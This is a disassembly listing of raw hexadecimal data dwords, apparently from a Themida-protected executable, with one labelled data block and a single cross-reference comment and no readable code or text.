dd 0FA7E42F5h, 0FCC2AB5Eh, 0F99519A9h, 14F7E4C5h, 4C25C3D7h
dd 2E000000h, 8F5B1740h, 0D5D28EA9h, 35B011A4h, 0DCDDCB76h
dd 33D55663h, 2CE2E4E5h, 44E4B7Ch, 6328700Ah, 296A1D86h
dd 4AF65533h, 0DBDC2AC6h, 4D7D48DEh, 0ECB27174h, 6B0DDBF2h
dd 1FF1258Eh, 52h, 452BF19Ch, 595B42C3h, 11C2F3F0h, 94BE68B0h
dd 6A99AFF8h, 4270BEA4h, 3469D25Bh, 807A40FFh, 0FC63281Dh
dd 45D4309h, 45CB6328h, 6B2A93ADh, 2803BFA5h, 3D72DB63h
dd 9E10498Ah, 3C853580h, 933FEAA9h, 23247210h, 0B0E2DC26h
dd 359E6B0Dh, 44324001h, 7F140092h, 0C7F7F47Eh, 0CD59A743h
dd 3AD6AD49h, 0F49F5E87h, 4285482Eh, 0FEFB645Bh, 8BD009CFh
dd 5C076322h, 2287B096h, 52D8CC63h, 366B6CBAh, 0F846AF39h
dd 22876852h, 0C157DE63h, 0C664E773h, 4127ED78h, 5D632287h
dd 5A292FF4h, 0CD790CD7h, 69F0B046h, 7540D6D3h, 37361744h
dd 4185C4h, 118C0000h, 0A8D268B0h, 0A5A5832Ch, 1D52871Fh
dd 7E73985Eh, 1A0D6322h, 7AC3A96Fh, 6ED76322h, 227BAE94h
dd 768CC263h, 6583B0E1h, 80CE0338h, 22ABF0DAh, 12615B63h
dd 375F7663h, 0DBA4C4h, 31AB0000h, 38C311ADh, 0C5F0E54Ah
dd 0E8E5C1A0h, 4D9B31B8h, 53A13DC1h, 0D0A743C7h, 42971B3Ah
dd 6F0B8F5Bh, 0AC721D98h, 5B428DC6h, 0C311B334h, 423FA8C2h
dd 0A4F28E12h, 0E692C9F8h, 3E9C365h, 175B428Eh, 0FBA79AEh
dd 9537B864h, 428DD5BBh, 8380E95Bh, 22B1E839h, 0A47BE463h
dd 6D2CB908h, 0E288667Fh, 504DAD46h, 5CB7621h, 63235A1Fh
dd 29D0D23Bh, 3D0685E9h, 0A3C40E0Bh, 0AD6B05FFh, 2FDA8544h
dd 44BF8369h, 312E975Bh, 0DE47A01h, 6A740A91h, 72A316C2h
dd 1811FF9h, 6C000002h, 0F57148ECh, 83FFD670h, 0D896002h
dd 9C18EF87h, 9FA87F15h, 0ED830A44h, 79179A16h, 4A426A2h
dd 912DB12Dh, 0F8BE15BAh, 63282512h, 3120A92Eh, 0C13D14AAh
dd 36E2A13Dh, 0D41B18B0h, 35B01157h, 648BB076h, 3CA56322h
dd 645E48EEh, 0CFC96322h, 0A04CF784h, 0C1A7811Bh, 37632263h
dd 0CACB19B1h, 9C38BCB0h, 58184D4Eh, 0E9EA38D4h, 17BE9BECh
dd 0FBDCC437h, 0E3000000h, 9B008632h, 0DFC68802h, 726FA487h
dd 0D422BE42h, 1DA0C148h, 0FB30317Fh, 20BD4E3Ch, 0ABCA33F5h
dd 0A7ABA34Bh, 9A97CC77h, 0E0A651DCh, 5B4351FAh, 51C5AB71h
dd 70D95B43h, 45DB6256h, 0C4C1F6F7h, 43575B7Ah, 2FCB4F5Bh
dd 0A242C470h, 1D03C954h, 315B434Eh, 29193C8h, 0D5DCAA77h
dd 2CA7EEEBh, 9D5DFF80h, 4F7F7C1Ah, 35E12FCBh, 0D49A598Ch
dd 6322CF83h, 0B14D248Dh, 5016D510h, 6B0586D0h, 0E8A005F3h
dd 0EB39D75Ah, 191CE8EAh, 37A02A27h, 75DFCD78h, 482EF48Ah
dd 645B4559h, 13A1F9FBh, 32B9E9E6h, 0C249C59Ch, 0D134222Ch
dd 290372A3h, 0D38Bh, 761A9A00h, 49E239Fh, 8E30B12Dh, 1DB53BB7h
dd 0AD43CA46h, 3816CDD6h, 0C8441BB1h, 54D0A745h, 0DF5B32D2h
dd 43E8BF5Bh, 264026ECh, 0D75C6328h, 47AA314Eh, 6AAA330Eh
dd 0DE419D1h, 0B2710D91h, 0E8E58306h, 0AD3124A1h, 0B337C311h
dd 40C44017h, 0CD51CDA4h, 7A3DE331h, 0B465E3D4h, 0C347571Eh
dd 29D55027h, 0C0083BA6h, 1527AC0h, 807D7ECCh, 0A263CC50h
dd 5DE2E67Ah, 0F13FD95Eh, 3886BBF0h, 408E26ACh, 410733B4h
dd 65E4265Bh, 83D1066Fh, 15D575F7h, 1AA5F393h, 0E4266E54h
dd 0FE198265h, 684CD1A4h, 0D6C4D3A2h, 0AE0536CDh, 0EC4D067Dh
dd 319F0CE5h, 4BCFFFFCh, 0D85CD8AFh, 1150EE3Ch, 0CB000000h
dd 98038632h, 435DB3A1h, 0D52358A7h, 2B78D7D4h, 0BF0DB131h
dd 0C513AF33h, 0C917B739h, 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh
dd 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh, 6C6D6863h, 34890000h
dd 6D246824h, 2C890000h, 0E0895024h, 405h, 42D00h, 4870000h
dd 4895C24h, 0AEE66824h, 2C8B07E5h, 4C48324h, 24048B54h
dd 4C481h, 50570000h, 0C789E889h, 8788958h, 2434FF5Fh
dd 4C48158h, 8B000000h, 8951242Ch, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 8385E95Ch, 0D0A9FFFBh, 51F4585h, 0C618759h
dd 0B80B5931h, 7E5C461h, 0E0FFC503h, 257B9645h, 64F252BAh
dd 14C6DAFDh, 3C4DF6E6h, 6F44BF94h, 3A6D5E2Bh, 2B3EB46Eh
dd 4F4D7AB9h, 2A7103C7h, 4BC54866h, 4E3E43E8h, 283522D3h
dd 3F5AF123h, 19B61AD8h, 8AA61A0h, 6562B1A8h, 573C1425h
dd 3FD40C8h, 175D2DBCh, 86027CAh, 198B1F48h, 3E053928h
dd 705F7ACBh, 1058863Ch, 598A610Ch, 655D5F82h, 6C1BBC4h
dd 21B98580h, 526BD069h, 1CE9h, 82155D00h, 0E7339C14h
dd 77h, 4 dup(0)
dd 0D6CE900h, 31680000h, 0E907E5C7h, 0FFFABB57h, 0E5C82068h
dd 0BB4DE907h, 7B68FFFAh, 0E907E5C9h, 0FFFABB43h, 0E5CAD968h
dd 0BB39E907h, 8968FFFAh, 0E907E5CCh, 0FFFABB2Fh, 0E5CE7768h
dd 0BB25E907h, 0EA68FFFAh, 0E907E5CFh, 0FFFABB1Bh, 0E5D14868h
dd 0BB11E907h, 0DF5FFFAh, 80673953h, 0F7DCAEC8h, 6A53253Fh
dd 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h, 5670280Bh
dd 0CAE49E84h, 0D5DCFFEAh, 0A121D4DBh, 0ED19582Fh, 0E15E9854h
dd 0B8F9F46Bh, 0BE21D4A1h, 0C643656Bh, 0A14D6487h, 0D62929BAh
dd 2FF0D6D0h, 0EBA58746h, 3F44EFE6h, 9A989D48h, 0B4E0FAB4h
dd 95B8CF6Ch, 2E5AA769h, 0F5AF95EFh, 0FDA86043h, 9AFCB1F8h
dd 0B99F21DAh, 16FCFAFFh, 0AFE4575Ch, 0B4FF0F52h, 3439F1DAh
dd 6DC2373Dh, 3BF3DCB6h, 0E0F32F35h, 311C53D4h, 66000000h
dd 4C06ECC6h, 0F64A5047h, 0C1D062Ah, 0E8A75799h, 29D47F2Dh
dd 0CC03EF12h, 2A7D2E59h, 0CBCFDE25h, 0D6E21D9h, 3F2C5AB0h
dd 0DA4753D4h, 91000000h, 868B452Bh, 0E7ECA688h, 444903E9h
dd 8CA66046h, 0BAA56D71h, 692A1029h, 8EB1C880h, 29BA9D23h
dd 465D085Bh, 0C7CB836Ch, 0FF22AB24h, 22848A3Fh, 0ABB06A50h
dd 576ECD53h, 0DCE29A7Dh, 0FB685A7Dh, 94EE2E59h, 2F49F4AEh
dd 71E1D03h, 4708EEC8h, 0F9FEA963h, 0FE4F2CA9h, 0B05B7F28h
dd 17E867AAh, 0FB4E2678h, 6E280AE4h, 0D6C7269h, 456C8FCEh
dd 3129B7E8h, 8B36EED7h, 0EFA98B85h, 3C5F9ED5h, 29B7E775h
dd 33AAAE01h, 0E7A4FD4Eh, 5E7E1E7h, 4272724Bh, 0A68FE610h
dd 0B0778h, 0BA745C00h, 2FE7CEA0h, 0A65E4315h, 19D1BA8Ch
dd 914B2DFFh, 84B92277h, 0FCCEE8A2h, 72445E18h, 0EBBDD78Fh
dd 51314B05h, 0DA6E4366h, 960821D4h, 8F492BFCh, 0FCBDA375h
dd 96B05B13h, 0E69AC69Ch, 49931848h, 749CF0F6h, 0E2C6A0B7h
dd 262C2328h, 0E64EA4C7h, 8E682E59h, 86E9EEA8h, 0D9E64E63h
dd 2AD52821h, 0ADB20524h, 0D9E64766h, 3895F621h, 0D451A4E2h
dd 0C6CF53h, 2DC0000h, 3E606620h, 868B452Bh, 0E7ECA688h
dd 8F224584h, 0E729BAA0h, 934B8E94h, 0A29BAA5h, 0F2BD1124h
dd 6A8419CDh, 0EDD3A5BFh, 4AD62E33h, 0FB3D6EDh, 892E5984h
dd 0E48F492Fh, 0D3B993CAh, 171D1419h, 0C7DE5DC3h, 3EDE109Bh
dd 90FFC8Ch, 0A3D787AAh, 0B5E12677h, 45E8565Eh, 0B87055DFh
dd 95E8070Dh, 8C2A47Eh, 803A1CEEh, 10B0BDA7h, 0B7E5CEE6h
dd 0A18h, 8FA9634Bh, 41ED6BDh, 7B954D32h, 0EE08C0A9h, 66803A1Ch
dd 9173A811h, 7EBBDD7h, 7E61334Dh, 0F4DAACC6h, 5540203Ah
dd 0D4D87F32h, 0EB85F721h, 4D6487C6h, 2929BAA1h, 0F4D6D0D6h
dd 0FE9203Ah, 746E742Ch, 6C45688Eh, 1229BAA1h, 0FA14BFh
dd 868B452Bh, 0CEE8A288h, 0AAC17EA2h, 5AB77787h, 0A9AE012Eh
dd 0DA8B4C62h, 0B26A4F21h, 0EC6AFADh, 89E61309h, 0BFEB3646h
dd 3A96FDB8h, 32A7AD0Ah, 0B4437FDDh, 536C53D4h, 0B6000006h
dd 0D9F04FD1h, 5AA3A0B6h, 0BEC3162Eh, 770F2F5Bh, 0E7EBA589h
dd 0D13ED8Ch, 0DA6BE3CAh, 17CFB821h, 76301412h, 0F14E7B71h
dd 0E03D9EAEh, 0D4D35C8Ah, 61C7753h, 0D1C10000h, 0B6D9F04Fh
dd 2E5ABA9Ch, 67CACF22h, 86AC0528h, 7FD221DAh, 86773679h
dd 65C621DAh, 0FC74B208h, 0EAC453D4h, 0C2464C06h, 5EEh
dd 379AC60Ch, 0B0AD6987h, 0E75ED0D6h, 9FB6759Bh, 59DEEA7Ch
dd 6E522C2Eh, 0E08C2548h, 9FF221D9h, 698CEFF4h, 21D9E148h
dd 2A30DB2Eh, 1C03B80Bh, 9DCEC7BAh, 31A1907h, 64A4CEE0h
dd 0AA8E68A2h, 0EEF4EBF0h, 14777CCFh, 989E583Ah, 485FDC44h
dd 44D1A025h, 0ACC316A2h, 1832ECD2h, 0CDA66046h, 720408E9h
dd 0BDE715FEh, 0A6000008h, 18EA04BEh, 8D5F7931h, 4D6F0A8h
dd 7749631Bh, 6CC1DB95h, 32ECCE43h, 0A8624618h, 21D9BC8Eh
dd 954F3507h, 8DB09B7Bh, 21D4D824h, 2B4EE85Ah, 63451F45h
dd 0B2ADA4A9h, 29BAA0FFh, 62792477h, 5D80A688h, 29BAA154h
dd 7A2CD72Ah, 0E1D8DD95h, 0EA368EDBh, 5713364Dh, 912E5F63h
dd 7409243Eh, 2E21D4DBh, 0C68066F0h, 3B9180ACh, 167F37AFh
dd 0D7EE9995h, 5D621AFDh, 0DE016066h, 21D543DBh, 5D5B60B3h
dd 88A3BD77h, 21D54415h, 5C7FA386h, 21D54455h, 923CE21h
dd 92975137h, 5FF4624Bh, 0F35005CEh, 0F209C3A9h, 7B28D1C6h
dd 0A185E559h, 7218894Ah, 371ED07Bh, 0E017797Fh, 63692106h
dd 0B2C98369h, 7F014773h, 893A062Dh, 0A017238Eh, 2085B31h
dd 273F6EB5h, 735C31A0h, 0CFB8B6BBh, 691B1217h, 0CEC4C983h
dd 57014CA1h, 965C1440h, 16588372h, 0F4469B10h, 383A540Eh
dd 16Ch, 8B452BCEh, 0FDB59A74h, 0AEFB01F8h, 1015CDB0h
dd 0AE946EADh, 0FDF8EFF4h, 29BAA0B4h, 2E7177CAh, 29BAA083h
dd 40F8E1BBh, 443E443Bh, 3C9FA45Eh, 0BFC47E62h, 0A26EC2C8h
dd 1F4B6E85h, 192E5F64h, 333D7BEDh, 2A2ECB69h, 318DBAA3h
dd 7D9CA2C0h, 9A73512Ah, 0A38CEDF3h, 75F75h, 621C0400h
dd 0D78F7648h, 4E06EBBDh, 0C1796234h, 39F3D5A7h, 2CE1CA1Fh
dd 0A476904Ah, 1AEC06C0h, 93657F37h, 0F9D9F3ADh, 0D6C6EB0Eh
dd 3EB021D4h, 8B452BA4h, 0ECA68886h, 651D00D2h, 0D993794Bh
dd 510BEDBFh, 87AAE94Ch, 29BAA12Ah, 1FB0154h, 0DBD6F91Fh
dd 0A329BAA0h, 38A0A550h, 9E392EFh, 15656A22h, 760271C8h
dd 6B1C5h, 7E632406h, 731ED6BFh, 92D0AEC8h, 0BD543466h
dd 25h, 6487C607h, 29BAA14Dh, 6A476A29h, 1429BAA1h, 0E61016C1h
dd 0C3h, 9BF0133Fh, 68F2EC0Eh, 1C22CD85h, 8B452BFAh, 0F9B19A74h
dd 4E5FA6F3h, 5529BAB1h, 9DC0FF3Eh, 29BA9114h, 951C176Ah
dd 0E129BA90h, 0BE13888Eh, 9B73866Ch, 2CD7A362h, 0B98BA550h
dd 0B6191ED6h, 0ADAB838Ah, 0BDE0583Bh, 29BA07F4h, 868C378Ah
dd 0BA086B43h, 944E3229h, 5D113F8Fh, 0C946C64Dh, 73783017h
dd 44F3507Dh, 0BA079021h, 0E893E629h, 0A5F74C01h, 0F6F00AC2h
dd 8B90482Bh, 0B26C4E28h, 17CFB2ACh, 8A442600h, 3B888E85h
dd 7E358AD3h, 53352952h, 656B727Ch, 0B6D0886Bh, 0B9DF8F9Bh
dd 4E08EE29h, 24BAE5A3h, 0B9F85434h, 0B9D71B96h, 24096329h
dd 37BBC16Ch, 0FFFFFE51h, 2CCFB81h, 2B910000h, 3F868B45h
dd 29BAA15Eh, 0A7F14E0Fh, 6836AEC1h, 66F3D300h, 58852C4Fh
dd 9EF129BAh, 2107D9F3h, 0D3FF6267h, 577FE6CFh, 8FD2D8D8h
dd 29BA110Eh, 0C8CD876Dh, 6C83A070h, 0B26A532Dh, 1D04B6ADh
dd 4E1C5F65h, 882E5ED3h, 5F845C35h, 0B8A1EDF3h, 5AF8Ah
dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h, 0E9A38557h
dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh
dd 0D5169BBEh, 0EE6021D4h, 1F452B54h, 0BAA0B5FCh, 0C36EC129h
dd 8AF680ACh, 0A95626E0h, 765856A3h, 0EAD0A2BCh, 62441630h
dd 0C3A5A3A8h, 775E1D02h, 18C3BABFh, 990E9714h, 20CB1248h
dd 156AB31Bh, 3D20E1C3h, 9F19912Ch, 16C1FC3Eh, 3773516Bh
dd 605434D2h, 1F6h, 834ED1AAh, 0BAA15160h, 2FDA2D29h, 0B39BC72Ah
dd 0DB25DBFAh, 7269ACB2h, 8FD7540Bh, 4F7BD12Eh, 68AADA4Ch
dd 1CEh, 0E7BC4975h, 5E621C00h, 0BCC2473Fh, 8ECC69Ah, 1B99C4Eh
dd 0BD78A7FBh, 0A12E83A6h, 0F54829BAh, 5F32A9F0h, 44FD754h
dd 898E482Ah, 0BA178C92h, 0DA182664h, 19451AAh, 325E0000h
dd 0A302B838h, 520AEF8Eh
dd 0C67FA1A7h, 0A14D6487h, 0D62929BAh, 98957CD0h, 921F4281h
dd 1129BAA0h, 479A712Bh, 0F6BFE241h, 9029BAA0h, 0FBD5383Dh
dd 175A6018h, 0D7545EC4h, 0ED43A001h, 0AADA18B1h, 14DDAh
dd 4ED12400h, 4247FFE8h, 6689A04Bh, 29BAA153h, 8CD3D82Bh
dd 0D7545F4Fh, 5AB00D6Eh, 0AADA182Ch, 12947h, 947A5400h
dd 5F85D5DAh, 66068772h, 0C6E8EE99h, 868B452Bh, 0AC644923h
dd 0B0AAB0A7h, 0CAF610CAh, 0AFD2E946h, 2E5AA74Fh, 2A7176C9h
dd 21DA9A83h, 0A60459BAh, 53D4E078h, 2093h, 4FD1DD00h
dd 3CB6D9F0h, 0C22E5AA0h, 8A236A6Fh, 0B321DA9Fh, 639FFD52h
dd 8C53D4EBh, 85h, 8B452BD6h, 0FFB79A74h, 0CCAEACF9h, 290F0D12h
dd 866C6A6Fh, 4797B2CCh, 0B629BAA5h, 0D0FC16D0h, 0A9CCE340h
dd 2E581453h, 99D33D69h, 8557028Bh, 0F60D607Fh, 66803A1Ch
dd 1FF8B294h, 0EDF0A65Dh, 0C157856Eh, 0A2000003h, 14E600BAh
dd 895B752Dh, 0D2ECA4h, 73455F17h, 68BDD791h, 2EE8CA7Fh
dd 0A45E4214h, 1DD5B88Ah, 914B3103h, 89AC9777h, 21D4D328h
dd 2B42DC4Eh, 0A3758F49h, 6119FCBDh, 0A0BA655Ch, 0AECC6A6h
dd 0A3A86049h
dword_5A9668 dd 0FEFC01ACh, 675E631Bh, 0D6BCB6BCh, 73783015h, 0CECCD17Ch
; DATA XREF: Themida_:00561B69o
dd 0F9142EE8h, 29BAA0B5h, 0BB9E828Eh, 0C628FF03h, 0C7C27406h
dd 4CE2051Ch, 0EA2E5AA2h, 0E2052910h, 21DA99CFh, 0A4A954A7h
dd 3588A7ADh, 452B211Bh, 0A288868Bh, 7EA2CEE8h, 7787AAC1h
dd 12E5AA7h, 4B62A9AEh, 5021DA9Bh, 0B1AFB46Eh, 1A1015CFh
dd 3AF490EDh, 0A0DA0413h, 41A2B25Dh, 7F508EECh, 277B53D4h
dd 88000000h, 0D12CCAEh, 0D1EE1016h, 0B6D9F04Fh, 2E5AA03Ch
dd 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h, 0DE8Ch
dd 452BD600h, 0A688868Bh, 7396D5ECh, 29BAA13Eh, 92DFE538h
dd 0EFF4AE94h, 13CBB28Ch, 1711170Eh, 425D7731h, 29BAA59Ch
dd 0D0619FFh, 0F4E837E5h, 28FA14BFh, 0E49C8142h, 34DC3439h
dd 69BDE0F7h, 0DF2E59F7h, 656A2205h, 0F649686Eh, 9B79A5DCh
dd 0B962C3C4h, 0E59F8335h, 8FE3E9E0h, 688BA281h, 2677E68Eh
dd 0A47E95E8h, 262EAFC2h, 31AF0A18h, 0B879A30Eh, 0DD88DB29h
dd 5C411B32h, 6A3C9EA4h, 0B9F5CE88h, 4EE61031h, 24E3765h
dd 2D150000h, 0A0875973h, 17FCCEE8h, 8A73455Fh, 4E6B8D2h
dd 0F2DB304Ah, 87A15B3Dh, 0FD17D1B5h, 7690482Bh, 0EA04BEA4h
dd 0B5FC1F0Ah, 0C121D4D1h, 492BB54Fh, 0BDA3758Fh, 0B66119FCh
dd 102739Fh, 4C6EE23Ch, 0DADE03FBh, 343A974Fh, 0DCC19BD2h
dd 0D1FC1E24h, 0B6D9F04Fh, 2E5AA03Ch, 9E5B5682h, 0FBD6A8F5h
dd 0A9AE6649h, 3A8DACB2h, 0A3624923h, 525702BAh, 0DC7A95Bh
dd 3A73BA07h, 6121DA82h, 0BFBDC27Ah, 201E23DDh, 877E833Bh
dd 1053B0DDh, 0C689B500h, 1F2AF854h, 0F350BD24h, 0EC97A300h
dd 651C71E6h, 0E2557839h, 757B7578h, 0D4E6336Fh, 0F05C53h
dd 8F690000h, 5008EBAAh, 0C67D9FA5h, 4B5109ECh, 5B586B51h
dd 2A8AF545h, 815B721Dh, 3BF3DC9Dh, 8E943F36h, 0A7614341h
dd 0EF835BA2h, 14FA29B9h, 8469435Ah, 2D64C6CCh, 0AEB36D53h
dd 0D1B7B1B7h, 0C6712910h, 34ECD5AFh, 8789E12Eh, 106BEA1h
dd 25485F0Ah, 2E59D001h, 43930B37h, 0F978C59Bh, 191D909Ah
dd 0E3E9F27Eh, 651518C4h, 68DC3F33h, 0A977A3BDh, 0B299738Ah
dd 0A96148FAh, 0C60544A3h, 0DA4D0EA3h, 0F156821h, 77C38BCCh
dd 8198EB26h, 0F10BC5A7h, 6D3E8EBAh, 0DE20CB48h, 42FCDED8h
dd 105B3369h, 0B5E3CCE6h, 0F0h, 0B7D18B73h, 2C46FEE5h
dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh
dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D4D0575Ah, 13AD1F21h
dd 758F492Bh, 1AFCBDA3h, 4D645B60h, 0BAA0872Ah, 0F19CEF29h
dd 452BDDD7h, 0A288868Bh, 6B97CEE8h, 1B895FB5h, 22767C63h
dd 72A41FEh, 2E5E6D5Fh, 0BAF71A59h, 0C421D56Dh, 0F94C6B71h
dd 0F2208E2h, 0AC180EEEh, 82883356h, 97513735h, 0BC3A680h
dd 0EBD1A305h, 878C462Ah, 7DE0E590h, 91961B3Eh, 8DE021D5h
dd 585B4487h, 5B4032F8h, 0BAA09EA3h, 17FDFB00h, 4561585Dh
dd 6F55A7FCh, 0AEE30AB5h, 67210751h, 0DB957B4Dh, 4F6285C4h
dd 271537D8h, 0A10E8D7Bh, 4EF9876Eh, 14FDFB48h, 35E4CDF0h
dd 356D1538h, 9EAFFDF9h, 1BC619F0h, 9EF32016h, 92AC664Ch
dd 1B20DAC0h, 3EDh, 66248300h, 8489432Bh, 0E1E6A086h, 434800E3h
dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h
dd 7E833B22h, 0E789576Dh, 4C781h, 0EF830000h, 243C8704h
dd 240C895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
dd 0BC682414h, 8900003Fh, 0B868243Ch, 89000058h, 6DBB241Ch
dd 0BA2CA627h, 0DB3F9E5Dh, 545BDA01h, 83243C8Bh, 0FD6804C4h
dd 89000016h, 478F2414h, 243C8B08h, 81E68956h, 4C6h, 4C68100h
dd 87000000h, 0FF5C2434h, 815A2434h, 4C4h, 0AE01E900h
dd 0EEC1FFFAh, 0C8157E25h, 0B9B9188Ch, 5DB8CCE8h, 307E5D2h
dd 5AE0FFC5h, 62734FA2h, 5E46DF65h, 88451441h, 944F741Bh
dd 456D7A45h, 87BF430h, 123081E0h, 0B322AC43h, 2156F99Ch
dd 9F55B853h, 9E7C2263h, 5A67A128h, 3D35E709h, 9B52CE3Ah
dd 8D63AD4Bh, 312DEFA7h, 482CC8F1h, 0F9081864h, 0A267ACE8h
dd 0A3307026h, 4F6A707Ch, 0A1388C0Dh, 2D645167h, 8B209451h
dd 0BD83FCC0h, 7E006B1h, 83097500h, 0E001C5BDh, 19740007h
dd 0C08B5350h, 3FCB8h, 0F5858900h, 8D07E020h, 0E2BC629Dh
dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 0F5858900h
dd 8D07E020h, 0E2B9519Dh, 5BD3FF07h, 52006A58h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0C5458B06h
dd 0E4D8D781h, 0D90F39BBh, 0FC08B49h, 28Ah, 83DA8B00h
dd 0E016B1BDh, 840F0107h, 57h, 68B0Fh, 0EA810000h, 5C7B0F07h
dd 1115BD83h, 0F0007E0h, 3E85h, 83FEB600h, 0E02FF5BDh
dd 840F0007h, 86h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 50C35646h, 1672C096h, 0E92D65ECh, 7
dd 51EFE146h, 0E9AD1C0Eh, 331h, 68C0Fh, 0D2810000h, 5A3A0148h
dd 12E9h, 0F63F8C00h, 282F08F8h, 0B8322B28h, 0A15E2DADh
dd 2E2EAEh, 0F000000h, 6ADFBFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0EFBD7CC3h, 8609E39Dh
dd 0DA816685h, 755A020Ch, 0C70E61AEh, 28A4B4F6h, 0C0FAB49Fh
dd 99BEEDBCh, 0C49AF815h, 0C47BF01Dh, 0C0AFB480h, 0C514E5DDh
dd 0E28C2C84h, 51EAC55Eh, 0C0FABD74h, 947D169Ch, 21AC6226h
dd 4B397F1Fh, 4522EE42h, 0C734E33Ch, 28B9B4F6h, 0C0F5B49Fh
dd 9A39EEBCh, 0C459E015h, 0C49AF01Dh, 0C05FB487h, 9A6CE6DEh
dd 9F0B0B6h, 0CF224898h, 43FA6D2Bh, 0C0FAB49Fh, 3FAD5F1Ch
dd 92BEDE4Ch, 0C05FB774h, 3F5949Ch, 0E4833DC6h, 0E4AF3598h
dd 0C0F5A298h, 3A8F69Ch, 404E5063h, 957BC76h, 295FB49Fh
dd 0C0AFB496h, 98D301A8h, 0F3A11304h, 28A01797h, 0C0FAB49Ch
dd 0F89035C1h, 7BB95149h, 9C63E6E6h, 24372Eh, 0C0DC3493h
dd 46E4B49Ch, 0C0F5B499h, 0D81035FAh, 0EDCBE453h, 0AA9AB015h
dd 0C3B7E59Ch, 0E0AFB49Ch, 498E77C5h, 41EF90D0h, 0D8F190D8h
dd 81FAB49Ch, 1FED77CDh, 4AB4FEB0h, 31DED441h, 0A140353Fh
dd 0A1000B93h, 0E4A7B593h, 90F5DE62h, 0C0FAB774h, 325949Ch
dd 0E4FA3DC4h, 0E41B3598h, 0C0AFA098h, 387F49Ch, 0C551D2AAh
dd 77FAEC57h, 0C2F6B142h, 0C017B49Ch, 0C0BD5CCEh, 9A7FB49Ch
dd 9426EE5Fh, 8456B0B8h, 0C0F7B0B8h, 92B7B49Ch, 0F8145E5Fh
dd 88FF1C9Bh, 41B1770Ch, 0C05FB489h, 0C0AFBD74h, 93DE829Ch
dd 3C4B9821h, 137454D9h, 0B38BB218h, 0AA753FC6h, 0C356E29Ch
dd 0E05FB49Ch, 49F177C2h, 41D390E8h, 0DAEF90D8h, 86F5B49Ch
dd 174277CAh, 870589A5h, 0A60106EDh, 0A0A3FC17h, 78CE2F2Dh
dd 0C0D7B49Dh, 0C0EBBF74h, 0DC9DB69Ch, 0E4F2537Bh, 17A73CCh
dd 95C35FAh, 90CEEE1Ah, 517C3FFAh, 0A63E761Ch, 0C0816D10h
dd 0C0F65CCCh, 98DAB49Ch, 84F4EC5Fh, 843FB0B8h, 0C04AB0B8h
dd 90EFB49Ch, 0CF63F85Fh, 0C0EBB51Ch, 43FA419Ch, 0C0FAB492h
dd 0C07DB274h, 5B03649Ch, 9396B491h, 159EFC6h, 5252BB98h
dd 0CFEBB49Ch, 41936A23h, 99ACCF77h, 282BB4F6h, 0C0BEB49Fh
dd 9E9CEABCh, 0C48BC015h, 0C4F3F01Dh, 0C0EBB48Ah, 1536E2DAh
dd 0C8138670h, 57DB49Ch
dd 0C7621AE3h, 40B9E080h, 45A0DCA5h, 0C0D7B419h, 0C0EBA575h
dd 31CA099Ch, 0B5216920h, 23F13564h, 0DEE2FDB2h, 0B9D42CB7h
dd 0C524BB9Dh, 0A6D7B49Ch, 0C59F561Dh, 0C0F54B1Dh, 42F5349Ch
dd 0C07DB4C9h, 45796E17h, 0C7BA60C7h, 0C0AFB49Dh, 9A3E6C17h
dd 0CFEBB49Ch, 0C0F5B615h, 29223F9Ch, 0C07DB4A9h, 0F95435FAh
dd 4A0EEDD5h, 43C9EF64h, 0CF28BFE5h, 0C0EB9418h, 0FA37349Ch
dd 14A1315Bh, 0C07CB379h, 4BD8B49Ch, 0C9B6E74Ah, 13AFB49Ch
dd 0AEA04E33h, 0D61D2191h, 2995FCC6h, 0C0FAB496h, 0DE1F2E91h
dd 8D7128Dh, 23DE1E4Ch, 0F5224A98h, 8A3D0DFDh, 4566CB79h
dd 0C7106DA7h, 177F0911h, 3846B379h, 0CF8EB3E8h, 2B187D4Dh
dd 0C0BE5D69h, 3A9FB49Ch, 636991E6h, 551706F3h, 9B3726E9h
dd 0AAB91548h, 0C356E79Ch, 0E05FB49Ch, 49F477C7h, 41D390C0h
dd 0D5EF90D8h, 83F5B49Ch, 69F677CFh, 0D494D4FCh, 0CBEB49Ch
dd 0FC688324h, 53F318E4h, 4B2C6403h, 0A831404h, 0A6BB6490h
dd 0A1638622h, 71C037FDh, 0C1B9548Ah, 0C07D3093h, 4BC9B49Ch
dd 0D56A3743h, 0C0EC548Dh, 0C0E73193h, 77F5B49Ch, 35C03743h
dd 0C0B954B3h, 0C0763093h, 1125B49Ch, 0C0D76B75h, 97EBDE9Ch
dd 0C0F5B774h, 3A5949Ch, 0E4013DC3h, 0E4FA3598h, 0C05FAE98h
dd 3F8F39Ch, 2CA4C21Ah, 4320A62Ch, 20E30521h, 45F5B59Bh
dd 0C07DB41Fh, 0D802771Dh, 0AA02CB72h, 0C347E39Ch, 0E0D7B49Ch
dd 49B477C3h, 41F190E0h, 0D7FE90D8h, 877DB49Ch, 0C0F977CBh
dd 475074DFh, 0C0AFB49Bh, 23640FCBh, 3B1A461h, 28A0B4F6h
dd 0C0FAB49Fh, 9DBEE9BCh, 0C49AD815h, 0C47BF01Dh, 0C0AFB480h
dd 2214E1D9h, 712334C1h, 40F693F2h, 0C0F93493h, 4B1BB49Ch
dd 0C0F45D44h, 0CDB7B49Ch, 0C5AFB49Ch, 0D8E87A50h, 909AB96Eh
dd 93E842D6h, 0C07EBBFCh, 4B7DB49Ch, 9DE5D552h, 280CB4F6h
dd 0C0AFB49Fh, 9B14EFBCh, 0C4CFE815h, 0C4D1F01Dh, 0C0FAB481h
dd 27BEE7DFh, 236C5E2Eh, 90975D48h, 1A7034E7h, 93013453h
